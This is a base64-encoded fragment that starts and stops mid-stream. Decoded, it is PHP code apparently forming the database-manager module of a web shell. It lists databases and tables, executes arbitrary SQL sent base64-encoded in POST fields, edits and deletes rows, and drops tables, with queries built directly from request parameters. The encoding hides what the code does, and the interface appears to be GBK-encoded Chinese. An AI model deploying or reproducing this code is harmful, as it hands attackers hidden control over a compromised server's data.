5ic3A7ILDmsb46JzsKICAgICAgICAgICAgJGsgPSAwOwogICAgICAgICAgICAkcmVzdWx0ID0gQG15c3FsaV9xdWVyeSgkY29ubiwnc2VsZWN0IHZlcnNpb24oKTsnKTsKICAgICAgICAgICAgd2hpbGUgKCRyb3cgPSBAbXlzcWxpX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7CiAgICAgICAgICAgICAgICAkTVNHX0JPWCAuPSAkcm93WyRrXTsKICAgICAgICAgICAgICAgICRrKys7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj4gyv2+3b/iOic7CiAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbGlfcXVlcnkoJGNvbm4sIlNIT1cgREFUQUJBU0VTIik7CiAgICAgICAgICAgIHdoaWxlICgkZGIgPSBteXNxbGlfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJyZuYnNwOyZuYnNwO1s8YSBocmVmPSI/d2Vic2l0ZV89bXlzcWxpX21zZyZkYj0nIC4gJGRiWydEYXRhYmFzZSddIC4gJyI+JyAuICRkYlsnRGF0YWJhc2UnXSAuICc8L2E+XSc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPC9kaXY+JzsKICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydkYiddKSkgewogICAgICAgICAgICAgICAgbXlzcWxpX3NlbGVjdF9kYiggJGNvbm4sICRfR0VUWydkYiddKTsKICAgICAgICAgICAgICAgICRfUE9TVFsnbnNxbCddID0gYmFzZTY0X2RlY29kZSgkX1BPU1RbJ25zcWwnXSk7CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsnbnNxbCddKSkgewogICAgICAgICAgICAgICAgICAgICRCT09MID0gdHJ1ZTsKICAgICAgICAgICAgICAgICAgICAkTVNHX0JPWCA9IG15c3FsaV9xdWVyeSgkY29ubiwgJF9QT1NUWyduc3FsJ10pID8gJ9a00NCzybmmJyA6ICfWtNDQyqew3CAnIC4gbXlzcWxpX2Vycm9yKCRjb25uKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChpc19hcnJheSgkX1BPU1RbJ2luc3FsJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5ID0gJ0lOU0VSVCBJTlRPICcgLiAkX0dFVFsndGFibGUnXSAuICcgKCc7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJF9QT1NUWydpbnNxbCddIGFzICR2YXIgPT4gJGtleSkgewogICAgICAgICAgICAgICAgICAgICAgICAkcXVlcnlhIC49ICR2YXIgLiAnLCc7CiAgICAgICAgICAgICAgICAgICAgICAgICRxdWVyeWIgLj0gJ1wnJyAuIGFkZHNsYXNoZXMoJGtleSkgLiAnXCcsJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5ID0gJHF1ZXJ5IC4gc3Vic3RyKCRxdWVyeWEsIDAsIC0xKSAuICcpIFZBTFVFUyAoJyAuIHN1YnN0cigkcXVlcnliLCAwLCAtMSkgLiAnKTsnOwogICAgICAgICAgICAgICAgICAgICRNU0dfQk9YID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCAkcXVlcnkpID8gJ8ztvNOzybmmJyA6ICfM7bzTyqew3CAnIC4gbXlzcWxpX2Vycm9yKCRjb25uKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChpc19hcnJheSgkX1BPU1RbJ3Vwc3FsJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5ID0gJ1VQREFURSAnIC4gJF9HRVRbJ3RhYmxlJ10gLiAnIFNFVCAnOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfUE9TVFsndXBzcWwnXSBhcyAkdmFyID0+ICRrZXkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5YiAuPSAkdmFyIC4gJz1cJycgLiBhZGRzbGFzaGVzKCRrZXkpIC4gJ1wnLCc7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRxdWVyeSA9ICRxdWVyeSAuIHN1YnN0cigkcXVlcnliLCAwLCAtMSkgLiAnICcgLiBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnd2hlcmV2YXInXSkgLiAnOyc7CiAgICAgICAgICAgICAgICAgICAgJE1TR19CT1ggPSBteXNxbGlfcXVlcnkoJGNvbm4sJHF1ZXJ5KSA/ICfQ3rjEs8m5picgOiAn0N64xMqnsNwgJyAuIG15c3FsaV9lcnJvcigkY29ubik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2RlbCddKSkgewogICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbGlfcXVlcnkoJGNvbm4sJ1NFTEVDVCAqIEZST00gJyAuICRfR0VUWyd0YWJsZSddIC4gJyBMSU1JVCAnIC4gJF9HRVRbJ2RlbCddIC4gJywgMTsnKTsKICAgICAgICAgICAgICAgICAgICAkZ29vZCA9IG15c3FsaV9mZXRjaF9hc3NvYygkcmVzdWx0KTsKICAgICAgICAgICAgICAgICAgICAkcXVlcnkgPSAnREVMRVRFIEZST00gJyAuICRfR0VUWyd0YWJsZSddIC4gJyBXSEVSRSAnOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRnb29kIGFzICR2YXIgPT4gJGtleSkgewogICAgICAgICAgICAgICAgICAgICAgICAkcXVlcnljIC49ICR2YXIgLiAnPVwnJyAuIGFkZHNsYXNoZXMoJGtleSkgLiAnXCcgQU5EICc7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICR3aGVyZSA9ICRxdWVyeSAuIHN1YnN0cigkcXVlcnljLCAwLCAtNCkgLiAnOyc7CiAgICAgICAgICAgICAgICAgICAgJE1TR19CT1ggPSBteXNxbGlfcXVlcnkoJGNvbm4sICR3aGVyZSkgPyAnyb6z/bPJuaYnIDogJ8m+s/3Kp7DcICcgLiBteXNxbGlfZXJyb3IoJGNvbm4pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGFjdGlvbiA9ICc/d2Vic2l0ZV89bXlzcWxpX21zZyZkYj0nIC4gJF9HRVRbJ2RiJ107CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2Ryb3AnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkcXVlcnkgPSAnRHJvcCBUQUJMRSBJRiBFWElTVFMgJyAuICRfR0VUWydkcm9wJ10gLiAnOyc7CiAgICAgICAgICAgICAgICAgICAgJE1TR19CT1ggPSBteXNxbGlfcXVlcnkoJGNvbm4sICRxdWVyeSkgPyAnyb6z/bPJuaYnIDogJ8m+s/3Kp7DcICcgLiBteXNxbGlfZXJyb3IoJGNvbm4pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWyd0YWJsZSddKSkgewogICAgICAgICAgICAgICAgICAgICRhY3Rpb24gLj0gJyZ0YWJsZT0nIC4gJF9HRVRbJ3RhYmxlJ107CiAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydlZGl0J10pKSAkYWN0aW9uIC49ICcmZWRpdD0nIC4gJF9HRVRbJ2VkaXQnXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnaW5zZXJ0J10pKSAkYWN0aW9uIC49ICcmaW5zZXJ0PScgLiAkX0dFVFsnaW5zZXJ0J107CiAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSInIC4gJGFjdGlvbiAuICciIG5hbWU9Imdmb3JtIiBpZD0iZ2Zvcm0iPic7CiAgICAgICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgbmFtZT0ibnNxbCIgaWQ9Im5zcWwiIHN0eWxlPSJ3aWR0aDo1MDBweDtoZWlnaHQ6NTBweDsiPicgLiAkX1BPU1RbJ25zcWwnXSAuICc8L3RleHRhcmVhPiAnOwogICAgICAgICAgICAgICAgZWNobyAnPGlucHV0IHR5cGU9ImJ1dHRvbiIgbmFtZT0icXVlcnlzcWwiIHZhbHVlPSLWtNDQIiBvbmNsaWNrPSJTdWJtaXRVcmwoKTsiIHN0eWxlPSJ3aWR0aDo2MHB4O2hlaWdodDo0OXB4OyI+JzsKICAgICAgICAgICAgICAgIGVjaG8gJzxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK0tL2ose0iIHN0eWxlPSJ3aWR0aDo2MHB4O2hlaWdodDo0OXB4OyIgb25jbGljaz0iQ3JlYXRlb2soXCdhXCcpIj4gJzsKICAgICAgICAgICAgICAgIGVjaG8gJzxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK0tL2ov+IiIHN0eWxlPSJ3aWR0aDo2MHB4O2hlaWdodDo0OXB4OyIgb25jbGljaz0iQ3JlYXRlb2soXCdiXCcpIj4gJzsKICAgICAgICAgICAgICAgIGVjaG8gJzxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLJvrP9v+IiIHN0eWxlPSJ3aWR0aDo2MHB4O2hlaWdodDo0OXB4OyIgb25jbGljaz0iQ3JlYXRlb2soXCdjXCcpIj48L2Zvcm0+PC9kaXY+JzsKICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9Im1zZ2JveCIgc3R5bGU9ImhlaWdodDo0MHB4OyI+JyAuICRNU0dfQk9YIC4gJzwvZGl2PjxkaXYgY2xhc3M9ImFjdGFsbCI+PGEgaHJlZj0iP3dlYnNpdGVfPW15c3FsaV9tc2cmZGI9JyAuICRfR0VUWydkYiddIC4gJyI+JyAuICRfR0VUWydkYiddIC4gJzwvYT4gLS0tPiAnOwogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWyd0YWJsZSddKSkgewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxhIGhyZWY9Ij93ZWJzaXRlXz1teXNxbGlfbXNnJmRiPScgLiAkX0dFVFsnZGInXSAuICcmdGFibGU9JyAuICRfR0VUWyd0YWJsZSddIC4gJyI+JyAuICRfR0VUWyd0YWJsZSddIC4gJzwvYT4gJzsKICAgICAgICAgICAgICAgICAgICBlY2hvICdbPGEgaHJlZj0iP3dlYnNpdGVfPW15c3FsaV9tc2cmZGI9JyAuICRfR0VUWydkYiddIC4gJyZpbnNlcnQ9JyAuICRfR0VUWyd0YWJsZSddIC4gJyI+suXI6zwvYT5dPC9kaXY+JzsKICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ2VkaXQnXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydwJ10pKSAkYXRhYmxlID0gJF9HRVRbJ3RhYmxlJ10gLiAnJnA9JyAuICRfR0VUWydwJ107IGVsc2UgJGF0YWJsZSA9ICRfR0VUWyd0YWJsZSddOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iP3dlYnNpdGVfPW15c3FsaV9tc2cmZGI9JyAuICRfR0VUWydkYiddIC4gJyZ0YWJsZT0nIC4gJGF0YWJsZSAuICciPic7CiAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbGlfcXVlcnkoJGNvbm4sJ1NFTEVDVCAqIEZST00gJyAuICRfR0VUWyd0YWJsZSddIC4gJyBMSU1JVCAnIC4gJF9HRVRbJ2VkaXQnXSAuICcsIDE7Jyk7CiAgICAgICAgICAgICAgICAgICAgICAgICRnb29kID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRyZXN1bHQpOwogICAgICAgICAgICAgICAgICAgICAgICAkdSA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRnb29kIGFzICR2YXIgPT4gJGtleSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5YyAuPSAkdmFyIC4gJz1cJycgLiAka2V5IC4gJ1wnIEFORCAnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUgPSBAbXlzcWxpX2ZpZWxkX3R5cGUoJHJlc3VsdCwgJHUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxlbiA9IEBteXNxbGlfZmllbGRfbGVuKCRyZXN1bHQsICR1KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JyAuICR2YXIgLiAnIDxmb250IGNvbG9yPSIjRkYwMDAwIj4nIC4gJHR5cGUgLiAnKCcgLiAkbGVuIC4gJyk8L2ZvbnQ+PGJyPjx0ZXh0YXJlYSBuYW1lPSJ1cHNxbFsnIC4gJHZhciAuICddIiBzdHlsZT0id2lkdGg6NjAwcHg7aGVpZ2h0OjYwcHg7Ij4nIC4gaHRtbHNwZWNpYWxjaGFycygka2V5KSAuICc8L3RleHRhcmVhPjwvZGl2Pic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdSsrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICR3aGVyZSA9ICdXSEVSRSAnIC4gc3Vic3RyKCRxdWVyeWMsIDAsIC00KTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9IndoZXJldmFyIiBuYW1lPSJ3aGVyZXZhciIgdmFsdWU9IicgLiBiYXNlNjRfZW5jb2RlKCR3aGVyZSkgLiAnIj4nOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJhY3RhbGwiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVcGRhdGUiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+PC9kaXY+PC9mb3JtPic7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5ID0gJ1NIT1cgQ09MVU1OUyBGUk9NICcgLiAkX0dFVFsndGFibGUnXTsKICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3VsdCA9IG15c3FsaV9xdWVyeSgkY29ubiwgJHF1ZXJ5KTsKICAgICAgICAgICAgICAgICAgICAgICAgJGZpZWxkcyA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYWdlc2l6ZSA9IDIwOwogICAgICAgICAgICAgICAgICAgICAgICAkcm93X251bSA9IG15c3FsaV9udW1fcm93cyhteXNxbGlfcXVlcnkoJGNvbm4sJ1NFTEVDVCAqIEZST00gJyAuICRfR0VUWyd0YWJsZSddKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRudW1yb3dzID0gJHJvd19udW07CiAgICAgICAgICAgICAgICAgICAgICAgICRwYWdlcyA9IGludHZhbCgkbnVtcm93cyAvICRwYWdlc2l6ZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkbnVtcm93cyAlICRwYWdlc2l6ZSkgJHBhZ2VzKys7CiAgICAgICAgICAgICAgICAgICAgICAgICRvZmZzZXQgPSAkcGFnZXNpemUgKiAoJHBhZ2UgLSAxKTsKICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2UgPSAkX0dFVFsncCddOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRwYWdlKSAkcGFnZSA9IDE7CgogICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWlzc2V0KCRfR0VUWydwJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcCA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX0dFVFsncCddID0gMTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlICRwID0gKChpbnQpJF9HRVRbJ3AnXSAtIDEpICogMjA7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0YWJsZSBib3JkZXI9IjAiPjx0cj4nOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6NzBweDsiIG5vd3JhcD6y2df3PC90ZD4nOwogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoJHJvdyA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHJlc3VsdCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZpZWxkcywgJHJvd1snRmllbGQnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQgY2xhc3M9InRvcHRkIiBub3dyYXA+JyAuICRyb3dbJ0ZpZWxkJ10gLiAnPC90ZD4nOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJy9XSEVSRXxMSU1JVC9pJywgJF9QT1NUWyduc3FsJ10pICYmIHByZWdfbWF0Y2goJy9TRUxFQ1R8RlJPTS9pJywgJF9QT1NUWyduc3FsJ10pKSAkcXVlcnkgPSAkX1BPU1RbJ25zcWwnXTsgZWxzZSAkcXVlcnkgPSAnU0VMRUNUICogRlJPTSAnIC4gJF9HRVRbJ3RhYmxlJ10gLiAnIExJTUlUICcgLiAkcCAuICcsIDIwOyc7CiAgICAgICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbGlfcXVlcnkoJGNvbm4sICRxdWVyeSk7CiAgICAgICAgICAgICAgICAgICAgICAgICR2ID0gJHA7CiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgkdGV4dCA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHJlc3VsdCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0cj48dGQ+PGEgaHJlZj0iP3dlYnNpdGVfPW15c3FsaV9tc2cmZGI9JyAuICRfR0VUWydkYiddIC4gJyZ0YWJsZT0nIC4gJF9HRVRbJ3RhYmxlJ10gLiAnJnA9JyAuICRfR0VUWydwJ10gLiAnJmVkaXQ9JyAuICR2IC4gJyI+INDeuMQgPC9hPiAnOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iIyIgb25jbGljaz0iRGVsb2soXCfL/FwnLFwnP3dlYnNpdGVfPW15c3FsaV9tc2cmZGI9JyAuICRfR0VUWydkYiddIC4gJyZ0YWJsZT0nIC4gJF9HRVRbJ3RhYmxlJ10gLiAnJnA9JyAuICRfR0VUWydwJ10gLiAnJmRlbD0nIC4gJHYgLiAnXCcpO3JldHVybiBmYWxzZTsiPiDJvrP9IDwvYT48L3RkPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmllbGRzIGFzICRyb3cpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQ+JyAuIG5sMmJyKGh0bWxzcGVjaWFsY2hhcnMobXlzcWxpX0xlbigkdGV4dFskcm93XSwgNTAwKSkpIC4gJzwvdGQ+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+JyAuICJcclxuIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2Kys7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90YWJsZT48ZGl2IGNsYXNzPSJhY3RhbGwiPic7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYWdlcCA9ICRwYWdlIC0gMTsKICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VuID0gJHBhZ2UgKyAxOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICK5stPQICIgLiAkcm93X251bSAuICIgzPW8x8K8ICI7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcGFnZXAgPiAwKSAkcGFnZW5hdiAuPSAiICA8YSBocmVmPSc/d2Vic2l0ZV89bXlzcWxpX21zZyZkYj0iIC4gJF9HRVRbJ2RiJ10gLiAiJnRhYmxlPSIgLiAkX0dFVFsndGFibGUnXSAuICImcD0xJmNoYXJzZXQ9IiAuICRfR0VUWydjaGFyc2V0J10gLiAiJz7K19KzPC9hPiA8YSBocmVmPSc/d2Vic2l0ZV89bXlzcWxpX21zZyZkYj0iIC4gJF9HRVRbJ2RiJ10gLiAiJnRhYmxlPSIgLiAkX0dFVFsndGFibGUnXSAuICImcD0iIC4gJHBhZ2VwIC4gIiZjaGFyc2V0PSIgLiAkX0dFVFsnY2hhcnNldCddIC4gIic+yc/Su9KzPC9hPiAiOyBlbHNlICRwYWdlbmF2IC49ICIgyc/Su9KzICI7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkcGFnZW4gPD0gJHBhZ2VzKSAkcGFnZW5hdiAuPSAiIDxhIGhyZWY9Jz93ZWJzaXRlXz1teXNxbGlfbXNnJmRiPSIgLiAkX0dFVFsnZGInXSAuICImdGFibGU9IiAuICRfR0VUWyd0YWJsZSddIC4gIiZwPSIgLiAkcGFnZW4gLiAiJmNoYXJzZXQ9IiAuICRfR0VUWydjaGFyc2V0J10gLiAiJz7PwtK70rM8L2E+IDxhIGhyZWY9Jz93ZWJzaXRlXz1teXNxbGlfbXNnJmRiPSIgLiAkX0dFVFsnZGInXSAuICImdGFibGU9IiAuICRfR0VUWyd0YWJsZSddIC4gIiZwPSIgLiAkcGFnZXMgLiAiJmNoYXJzZXQ9IiAuICRfR0VUWydjaGFyc2V0J10gLiAiJz7OstKzPC9hPiI7IGVsc2UgJHBhZ2VuYXYgLj0gIiDPwtK70rMgIjsKICAgICAgICAgICAgICAgICAgICAgICAgJHBhZ2VuYXYgLj0gIiC12iBbIiAuICRwYWdlIC4gIi8iIC4gJHBhZ2VzIC4gIl0g0rMgICDM+LW9PGlucHV0IG5hbWU9J3RleHRmaWVsZCcgdHlwZT0ndGV4dCcgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgc2l6ZT0nNCcgdmFsdWU9JyIgLiAkcGFnZSAuICInIG9ua2V5ZG93bj1cImlmKGV2ZW50LmtleUNvZGU9PTEzKXNlbGYubG9jYXRpb24uaHJlZj0nP3dlYnNpdGVfPW15c3FsaV9tc2cmZGI9IiAuICRfR0VUWydkYiddIC4gIiZ0YWJsZT0iIC4gJF9HRVRbJ3RhYmxlJ10gLiAiJnA9Jyt0aGlzLnZhbHVlKycmY2hhcnNldD0iIC4gJF9HRVRbJ2NoYXJzZXQnXSAuICInO1wiIC8+0rMiOwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICRwYWdlbmF2OwogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L2Rpdj4nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc3NldCgkX0dFVFsnaW5zZXJ0J10pKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iP3dlYnNpdGVfPW15c3FsaV9tc2cmZGI9JyAuICRfR0VUWydkYiddIC4gJyZ0YWJsZT0nIC4gJF9HRVRbJ2luc2VydCddIC4gJyI+JyAuICRfR0VUWydpbnNlcnQnXSAuICc8L2E+PC9kaXY+JzsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCdTRUxFQ1QgKiBGUk9NICcgLiAkX0dFVFsnaW5zZXJ0J10pOwogICAgICAgICAgICAgICAgICAgICRmaWVsZG51bSA9IEBteXNxbGlfbnVtX2ZpZWxkcygkcmVzdWx0KTsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iP3dlYnNpdGVfPW15c3FsaV9tc2cmZGI9JyAuICRfR0VUWydkYiddIC4gJyZ0YWJsZT0nIC4gJF9HRVRbJ2luc2VydCddIC4gJyI+JzsKICAgICAgICAgICAgICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkZmllbGRudW07ICRpKyspIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG5hbWUgPSBAbXlzcWxpX2ZpZWxkX25hbWUoJHJlc3VsdCwgJGkpOwogICAgICAgICAgICAgICAgICAgICAgICAkdHlwZSA9IEBteXNxbGlfZmllbGRfdHlwZSgkcmVzdWx0LCAkaSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRsZW4gPSBAbXlzcWxpX2ZpZWxkX2xlbigkcmVzdWx0LCAkaSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JyAuICRuYW1lIC4gJyA8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+JyAuICR0eXBlIC4gJygnIC4gJGxlbiAuICcpPC9mb250Pjxicj48dGV4dGFyZWEgbmFtZT0iaW5zcWxbJyAuICRuYW1lIC4gJ10iIHN0eWxlPSJ3aWR0aDo2MDBweDtoZWlnaHQ6NjBweDsiPjwvdGV4dGFyZWE+PC9kaXY+JzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iSW5zZXJ0IiBzdHlsZT0id2lkdGg6ODBweDsiPjwvZGl2PjwvZm9ybT4nOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkcXVlcnkgPSAnU0hPVyBUQUJMRSBTVEFUVVMnOwogICAgICAgICAgICAgICAgICAgICRzdGF0dXMgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAkcXVlcnkpOwogICAgICAgICAgICAgICAgICAgIHdoaWxlICgkc3RhdHUgPSBAbXlzcWxpX2ZldGNoX2FycmF5KCRzdGF0dXMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzdGF0dXNpemVbXSA9ICRzdGF0dVsnRGF0YV9sZW5ndGgnXTsKICAgICAgICAgICAgICAgICAgICAgICAgJHN0YXR1Y29sbFtdID0gJHN0YXR1WydDb2xsYXRpb24nXTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5ID0gJ1NIT1cgVEFCTEVTIEZST00gJyAuICRfR0VUWydkYiddIC4gJzsnOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvZGl2Pjx0YWJsZSBib3JkZXI9IjAiPjx0cj4nOwogICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZCBjbGFzcz0idG9wdGQiIHN0eWxlPSJ3aWR0aDo1NTBweDsiPiCx7cP7IDwvdGQ+JzsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6ODBweDsiPiCy2df3IDwvdGQ+JzsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6MTMwcHg7Ij4g19a3+7yvIDwvdGQ+JzsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQgY2xhc3M9InRvcHRkIiBzdHlsZT0id2lkdGg6NzBweDsiPiC089ChIDwvdGQ+PC90cj4nOwogICAgICAgICAgICAgICAgICAgICRyZXN1bHQgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCAkcXVlcnkpOwogICAgICAgICAgICAgICAgICAgICRrID0gMDsKICAgICAgICAgICAgICAgICAgICB3aGlsZSAoJHRhYmxlID0gbXlzcWxpX2ZldGNoX3JvdygkcmVzdWx0KSkgewogICAgICAgICAgICAgICAgICAgICAgICAkY2hhcnNldCA9IHN1YnN0cigkc3RhdHVjb2xsWyRrXSwgMCwgc3RycG9zKCRzdGF0dWNvbGxbJGtdLCAnXycpKTsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyPjx0ZD48YSBocmVmPSI/d2Vic2l0ZV89bXlzcWxpX21zZyZkYj0nIC4gJF9HRVRbJ2RiJ10gLiAnJnRhYmxlPScgLiAkdGFibGVbMF0gLiAnIj4nIC4gJHRhYmxlWzBdIC4gJzwvYT48L3RkPic7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZD48YSBocmVmPSI/d2Vic2l0ZV89bXlzcWxpX21zZyZkYj0nIC4gJF9HRVRbJ2RiJ10gLiAnJmluc2VydD0nIC4gJHRhYmxlWzBdIC4gJyI+ILLlyOsgPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJEZWxvayhcJycgLiAkdGFibGVbMF0gLiAnXCcsXCc/d2Vic2l0ZV89bXlzcWxpX21zZyZkYj0nIC4gJF9HRVRbJ2RiJ10gLiAnJmRyb3A9JyAuICR0YWJsZVswXSAuICdcJyk7cmV0dXJuIGZhbHNlOyI+IMm+s/0gPC9hPjwvdGQ+JzsKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPicgLiAkc3RhdHVjb2xsWyRrXSAuICc8L3RkPjx0ZCBhbGlnbj0icmlnaHQiPicgLiBGaWxlX1NpemUoJHN0YXR1c2l6ZVska10pIC4gJzwvdGQ+PC90cj4nIC4gIlxyXG4iOwogICAgICAgICAgICAgICAgICAgICAgICAkaysrOwogICAgICAgI